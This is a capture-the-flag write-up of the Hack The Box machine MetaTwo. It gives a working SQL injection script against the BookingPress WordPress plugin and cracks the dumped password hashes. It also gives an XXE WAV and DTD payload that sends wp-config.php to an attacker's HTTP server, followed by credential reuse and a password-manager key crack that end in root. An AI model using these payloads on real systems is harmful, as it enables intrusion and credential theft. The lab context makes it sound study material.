easy - MetaTwo Machine Link to heading
IP Addr: 10.129.36.200
URL: https://app.hackthebox.com/machines/MetaTwo
User flag Link to heading
Webserver found and expecting a specific domain:
~» curl -I 10.129.36.200
HTTP/1.1 302 Moved Temporarily
Server: nginx/1.18.0
Date: Wed, 30 Nov 2022 01:22:19 GMT
Content-Type: text/html
Content-Length: 145
Connection: keep-alive
Location: http://metapress.htb/
A wordpress app found:
~» curl -I -H 'Host: metapress.htb' 10.129.36.200
HTTP/1.1 200 OK
Server: nginx/1.18.0
Date: Wed, 30 Nov 2022 01:25:00 GMT
Content-Type: text/html; charset=UTF-8
Connection: keep-alive
X-Powered-By: PHP/8.0.24
Set-Cookie: PHPSESSID=6anenfusf1jmkomkc089tg359n; path=/
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate
Pragma: no-cache
Link: <http://metapress.htb/wp-json/>; rel="https://api.w.org/"
Something interesting from nmap scanning:
sudo nmap -nv -Pn -sV -sC -O -T4 -oA nmap-scan 10.129.36.200
...
...
22/tcp open ssh OpenSSH 8.4p1 Debian 5+deb11u1 (protocol 2.0)
| ssh-hostkey:
| 3072 c4b44617d2102d8fec1dc927fecd79ee (RSA)
| 256 2aea2fcb23e8c529409cab866dcd4411 (ECDSA)
|_ 256 fd78c0b0e22016fa050debd83f12a4ab (ED25519)
80/tcp open http nginx 1.18.0
|_http-title: Did not follow redirect to http://metapress.htb/
| http-methods:
|_ Supported Methods: GET HEAD POST OPTIONS
|_http-server-header: nginx/1.18.0
On the web app UI, booked an appt, I can create events, humm:
After reviewing the /events page’s source code I found this:
<link
rel='stylesheet'
id='bookingpress_element_css-css'
href='http://metapress.htb/wp-content/plugins/ bookingpress-appointment-booking/css/bookingpress_element_theme.css?ver=1.0.10'
media='all' />
The page is using plugin “bookingpress-appointment-booking” on version “1.0.10” and found this SQL vulnerability: https://wpscan.com/vulnerability/388cd42d-b61a-42a4-8604-99b812db2357
As described in the Document, create an appointment with its shortcode embedded and find the “nonce”:
~» curl -s 'http://metapress.htb/thank-you/?appointment_id=Mw==' | grep -i nonce
var postData = { action:'bookingpress_generate_spam_captcha', _wpnonce:'221f0d0bf9' };
The PoC is working:
.../infosec/p8/metatwo» cat sql.sh
#!/bin/bash
SQLI="UNION ALL SELECT @@version,@@version_comment,@@version_compile_os,1,2,3,4,5,6-- -"
curl \
-s 'http://metapress.htb/wp-admin/admin-ajax.php' \
--data \
"action=bookingpress_front_get_category_services&_wpnonce=221f0d0bf9&category_id=33&total_service=-7502) ${SQLI}"
.../infosec/p8/metatwo» bash sql.sh | jq
[
{
"bookingpress_service_id": "10.5.15-MariaDB-0+deb11u1",
"bookingpress_category_id": "Debian 11",
"bookingpress_service_name": "debian-linux-gnu",
"bookingpress_service_price": "$1.00",
"bookingpress_service_duration_val": "2",
"bookingpress_service_duration_unit": "3",
"bookingpress_service_description": "4",
"bookingpress_service_position": "5",
"bookingpress_servicedate_created": "6",
"service_price_without_currency": 1,
"img_url": "http://metapress.htb/wp-content/plugins/bookingpress-appointment-booking/images/placeholder-img.jpg"
}
]
Change the query to:
SQLI="UNION ALL SELECT 1,2,3,4,5,6,7,8,concat(schema_name) FROM information_schema.schemata-- -"
# And the result:
~m» bash sql.sh | jq '.[] | .bookingpress_servicedate_created'
"information_schema"
"blog"
Listing WP tables:
SQLI="UNION ALL SELECT 1,2,3,4,5,6,7,8,group_concat(table_name) from information_schema.tables where table_schema = database()-- -"
~m» bash sql.sh | jq '.[] | .bookingpress_servicedate_created' | sed 's/,/\n/g'
"wp_options
wp_term_taxonomy
wp_bookingpress_servicesmeta
wp_commentmeta
wp_users
wp_bookingpress_customers_meta
wp_bookingpress_settings
wp_bookingpress_appointment_bookings
wp_bookingpress_customize_settings
wp_bookingpress_debug_payment_log
wp_bookingpress_services
wp_termmeta
wp_links
wp_bookingpress_entries
wp_bookingpress_categories
wp_bookingpress_customers
wp_bookingpress_notifications
wp_usermeta
wp_terms
wp_bookingpress_default_daysoff
wp_comments
wp_bookingpress_default_workhours
wp_postmeta
wp_bookingpress_form_fields
wp_bookingpress_payment_logs
wp_posts
wp_term_relationships"
Listing passwords:
SQLI="UNION ALL SELECT 1,2,3,4,5,6,7,8,group_concat(user_login,user_pass) from blog.wp_users-- -"
~m» bash sql.sh | jq '.[] | .bookingpress_servicedate_created'
"admin$P$BGrGrgf2wToBS79i07Rk9sN4Fzk.TV.,manager$P$B4aNM28N0E.tMy/JIcnVMZbGcU16Q70"
Trying to crack hashes:
~m» cat hashes.txt
$P$BGrGrgf2wToBS79i07Rk9sN4Fzk.TV.
$P$B4aNM28N0E.tMy/JIcnVMZbGcU16Q70
~m» john -w=/usr/share/dict/rockyou.txt hashes.txt
...
Press 'q' or Ctrl-C to abort, almost any other key for status
partylikearockstar (?)
The password worked for WP Login (user manager):
We have the ability to upload Media files, and we also know this WP version is vulnerable to XXE: https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2021-29447
We create a vulnerable media file:
» echo -en 'RIFF\x85\x00\x00\x00WAVEiXML\x79\x00\x00\x00<?xml version="1.0"?><!DOCTYPE ANY[<!ENTITY % remote SYSTEM '"'"'http://10.10.14.2:8000/xxe.dtd'"'"'>%remote;%init;%trick;]>\x00' > xxe.wav
» file xxe.wav
xxe.wav: RIFF (little-endian) data, WAVE audio
And then the malicious xxe.dtd
<!ENTITY % file SYSTEM "php://filter/read=convert.base64-encode/resource=../wp-config.php">
<!ENTITY % init "<!ENTITY % trick SYSTEM 'http://10.10.14.2:8000/?p=%file;'>" >
After running a python web server and uploading the malicious WAV file:
10.129.36.200 - - [29/Nov/2022 23:06:55] "GET /xxe.dtd HTTP/1.1" 200 -
10.129.36.200 - - [29/Nov/2022 23:15:22] "GET /?p=P...<stripped>...NCg== HTTP/1.1" 200 -
Then decoding it from base64:
<?php
/** The name of the database for WordPress */
define( 'DB_NAME', 'blog' );
/** MySQL database username */
define( 'DB_USER', 'blog' );
/** MySQL database password */
define( 'DB_PASSWORD', '635Aq@TdqrCwXFUZ' );
/** MySQL hostname */
define( 'DB_HOST', 'localhost' );
/** Database Charset to use in creating database tables. */
define( 'DB_CHARSET', 'utf8mb4' );
/** The Database Collate type. Don't change this if in doubt. */
define( 'DB_COLLATE', '' );
define( 'FS_METHOD', 'ftpext' );
define( 'FTP_USER', 'metapress.htb' );
define( 'FTP_PASS', '9NYS_ii@FyL_p5M2NvJ' );
define( 'FTP_HOST', 'ftp.metapress.htb' );
define( 'FTP_BASE', 'blog/' );
define( 'FTP_SSL', false );
/**#@+
* Authentication Unique Keys and Salts.
* @since 2.6.0
*/
define( 'AUTH_KEY', '?!Z$uGO*A6xOE5x,pweP4i*z;m`|.Z:X@)QRQFXkCRyl7}`rXVG=3 n>+3m?.B/:' );
define( 'SECURE_AUTH_KEY', 'x$i$)b0]b1cup;47`YVua/JHq%*8UA6g]0bwoEW:91EZ9h]rWlVq%IQ66pf{=]a%' );
define( 'LOGGED_IN_KEY', 'J+mxCaP4z<g.6P^t`ziv>dd}EEi%48%JnRq^2MjFiitn#&n+HXv]||E+F~C{qKXy' );
define( 'NONCE_KEY', 'SmeDr$$O0ji;^9]*`~GNe!pX@DvWb4m9Ed=Dd(.r-q{^z(F?)7mxNUg986tQO7O5' );
define( 'AUTH_SALT', '[;TBgc/,M#)d5f[H*tg50ifT?Zv.5Wx=`l@v$-vH*<~:0]s}d<&M;.,x0z~R>3!D' );
define( 'SECURE_AUTH_SALT', '>`VAs6!G955dJs?$O4zm`.Q;amjW^uJrk_1-dI(SjROdW[S&~omiH^jVC?2-I?I.' );
define( 'LOGGED_IN_SALT', '4[fS^3!=%?HIopMpkgYboy8-jl^i]Mw}Y d~N=&^JsI`M)FJTJEVI) N#NOidIf=' );
define( 'NONCE_SALT', '.sU&CQ@IRlh O;5aslY+Fq8QWheSNxd6Ve#}w!Bq,h}V9jKSkTGsv%Y451F8L=bL' );
/**
* WordPress Database Table prefix.
*/
$table_prefix = 'wp_';
/**
* For developers: WordPress debugging mode.
* @link https://wordpress.org/support/article/debugging-in-wordpress/
*/
define( 'WP_DEBUG', false );
/** Absolute path to the WordPress directory. */
if ( ! defined( 'ABSPATH' ) ) {
define( 'ABSPATH', __DIR__ . '/' );
}
/** Sets up WordPress vars and included files. */
require_once ABSPATH . 'wp-settings.php';
We have FTP and MYSQL credentials 😄
Trying FTP access:
.../infosec/p8/metatwo» ftp [email protected]
Connected to metapress.htb.
220 ProFTPD Server (Debian) [::ffff:10.129.36.200]
331 Password required for metapress.htb
Password:
230 User metapress.htb logged in
Remote system type is UNIX.
Using binary mode to transfer files.
ftp> dir
200 PORT command successful
150 Opening ASCII mode data connection for file list
drwxr-xr-x 5 metapress.htb metapress.htb 4096 Oct 5 14:12 blog
drwxr-xr-x 3 metapress.htb metapress.htb 4096 Oct 5 14:12 mailer
ftp> cd mailer
ftp> get send_email.php
200 PORT command successful
150 Opening BINARY mode data connection for send_email.php (1126 bytes)
226 Transfer complete
1126 bytes received in 5,8e-05 seconds (18,5 Mbytes/s)
This send_email.php
<?php
/*
* This script will be used to send an email to all our users when ready for launch
*/
use PHPMailer\PHPMailer\PHPMailer;
use PHPMailer\PHPMailer\SMTP;
use PHPMailer\PHPMailer\Exception;
require 'PHPMailer/src/Exception.php';
require 'PHPMailer/src/PHPMailer.php';
require 'PHPMailer/src/SMTP.php';
$mail = new PHPMailer(true);
$mail->SMTPDebug = 3;
$mail->isSMTP();
$mail->Host = "mail.metapress.htb";
$mail->SMTPAuth = true;
$mail->Username = "[email protected]";
$mail->Password = "Cb4_JmWM8zUZWMu@Ys";
$mail->SMTPSecure = "tls";
$mail->Port = 587;
$mail->From = "[email protected]";
$mail->FromName = "James Nelson";
$mail->addAddress("[email protected]");
$mail->isHTML(true);
$mail->Subject = "Startup";
$mail->Body = "<i>We just started our new blog metapress.htb!</i>";
try {
$mail->send();
echo "Message has been sent successfully";
} catch (Exception $e) {
echo "Mailer Error: " . $mail->ErrorInfo;
}
Turns out those Mail SMTPAuth credentials works for SSH:
jnelson@meta2:~$ id
uid=1000(jnelson) gid=1000(jnelson) groups=1000(jnelson)
Getting root flag Link to heading
Reviewing local dir:
jnelson@meta2:~$ ls -ltra
total 32
-rw-r--r-- 1 jnelson jnelson 807 Jun 26 15:46 .profile
-rw-r--r-- 1 jnelson jnelson 3526 Jun 26 15:46 .bashrc
-rw-r--r-- 1 jnelson jnelson 220 Jun 26 15:46 .bash_logout
lrwxrwxrwx 1 root root 9 Jun 26 15:59 .bash_history -> /dev/null
drwxr-xr-x 3 root root 4096 Oct 5 15:12 ..
drwxr-xr-x 3 jnelson jnelson 4096 Oct 25 12:51 .local
dr-xr-x--- 3 jnelson jnelson 4096 Oct 25 12:52 .passpie
drwxr-xr-x 4 jnelson jnelson 4096 Oct 25 12:53 .
-rw-r----- 1 jnelson jnelson 33 Nov 30 01:21 user.txt
jnelson@meta2:~/.passpie/ssh$ cat root.pass
comment: ''
fullname: root@ssh
login: root
modified: 2022-06-26 08:58:15.621572
name: ssh
password: '-----BEGIN PGP MESSAGE-----
hQEOA6I+wl+LXYMaEAP/T8AlYP9z05SEST+Wjz7+IB92uDPM1RktAsVoBtd3jhr2
nAfK00HJ/hMzSrm4hDd8JyoLZsEGYphvuKBfLUFSxFY2rjW0R3ggZoaI1lwiy/Km
yG2DF3W+jy8qdzqhIK/15zX5RUOA5MGmRjuxdco/0xWvmfzwRq9HgDxOJ7q1J2ED
/2GI+i+Gl+Hp4LKHLv5mMmH5TZyKbgbOL6TtKfwyxRcZk8K2xl96c3ZGknZ4a0Gf
iMuXooTuFeyHd9aRnNHRV9AQB2Vlg8agp3tbUV+8y7szGHkEqFghOU18TeEDfdRg
krndoGVhaMNm1OFek5i1bSsET/L4p4yqIwNODldTh7iB0ksB/8PHPURMNuGqmeKw
mboS7xLImNIVyRLwV80T0HQ+LegRXn1jNnx6XIjOZRo08kiqzV2NaGGlpOlNr3Sr
lpF0RatbxQGWBks5F3o=
=uh1B
-----END PGP MESSAGE-----
'
Passpie is a password manager, I need to crack the .keys first:
jnelson@meta2:~$ ls -ltra .passpie/.keys
-r-xr-x--- 1 jnelson jnelson 5243 Jun 26 13:58 .passpie/.keys
» gpg2john keys > gpg.john
File keys
» john -w=/usr/share/dict/rockyou.txt gpg.john
...
blink182 (Passpie)
Now we have the passphrase.
These are the existing passwords stored:
jnelson@meta2:~$ passpie list
╒════════╤═════════╤════════════╤═══════════╕
│ Name │ Login │ Password │ Comment │
╞════════╪═════════╪════════════╪═══════════╡
│ ssh │ jnelson │ ******** │ │
├────────┼─────────┼────────────┼───────────┤
│ ssh │ root │ ******** │ │
╘════════╧═════════╧════════════╧═══════════╛
Exporting and reviewing:
jnelson@meta2:~$ passpie export exported
Passphrase:
jnelson@meta2:~$ cat exported
credentials:
- comment: ''
fullname: root@ssh
login: root
modified: 2022-06-26 08:58:15.621572
name: ssh
password: !!python/unicode 'p7qfAZt4_A1xo_0x'
- comment: ''
fullname: jnelson@ssh
login: jnelson
modified: 2022-06-26 08:58:15.514422
name: ssh
password: !!python/unicode 'Cb4_JmWM8zUZWMu@Ys'
handler: passpie
version: 1.0
And then:
jnelson@meta2:~$ su root
Password:
root@meta2:/home/jnelson# id
uid=0(root) gid=0(root) groups=0(root)